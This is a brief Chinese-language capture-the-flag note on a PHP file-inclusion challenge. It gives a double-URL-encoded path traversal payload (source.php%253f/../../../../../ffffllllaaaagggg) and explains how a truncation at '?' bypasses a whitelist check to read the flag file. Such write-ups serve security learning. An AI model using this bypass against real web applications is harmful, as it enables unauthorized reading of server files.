payload 为?file=source.php%253f/../../../../../ffffllllaaaagggg
代码中的难理解的语句:
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)//page中存在?就返回问号之前的 不存在就返回整个page
%253f是问号经过两次URLencode的 被执行时先是被服务器默认解码 然后又被后台定义的函数解析了一遍
问号是用来截取source.php 的 绕过函数
添加/使source.php%253f成为一个不存在的目录 然后利用../不断的跳转父目录 跳到第四次时得到flag